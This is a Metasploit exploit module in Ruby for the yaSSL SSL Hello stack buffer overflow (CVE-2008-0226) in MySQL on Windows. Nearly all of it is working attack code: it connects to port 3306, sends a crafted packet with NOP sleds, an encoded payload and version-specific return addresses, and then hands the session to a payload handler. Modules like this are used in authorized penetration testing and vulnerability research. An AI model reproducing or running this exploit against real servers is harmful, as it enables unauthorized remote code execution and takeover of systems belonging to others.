##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'MySQL yaSSL SSL Hello Message Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the yaSSL (1.7.5 and earlier)
				implementation bundled with MySQL <= 6.0. By sending a specially crafted
				Hello packet, an attacker may be able to execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2008-0226' ],
					[ 'OSVDB', '41195'],
					[ 'BID', '27140' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 600,
					'BadChars' => "\x00\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'StackAdjustment' => -3500,
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'MySQL 5.0.45-community-nt',    { 'Ret' => 0x008b9d45 } ],
					[ 'MySQL 5.1.22-rc-community',    { 'Ret' => 0x008b04c9 } ],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jan 4 2008'))

		register_options([ Opt::RPORT(3306) ], self)
	end

	def exploit
		connect

		sock.get_once

		req_uno =  [0x01000020].pack('V')

		req_dos =  [0x00008daa].pack('V') + [0x40000000].pack('V')
		req_dos << [0x00000008].pack('V') + [0x00000000].pack('V')
		req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
		req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
		req_dos << [0x03010000].pack('V') + [0x00000001].pack('V')
		req_dos << "\x00\x0F\xFF" + rand_text_alphanumeric(3917 - payload.encoded.length)
		req_dos << make_nops(100) + payload.encoded + [target.ret].pack('V')
		req_dos << make_nops(16) + [0xe8, -650].pack('CV') + rand_text_alphanumeric(1024)

		print_status("Trying target #{target.name}...")

		sock.put(req_uno)
		sock.put(req_dos)

		handler
		disconnect
	end

end
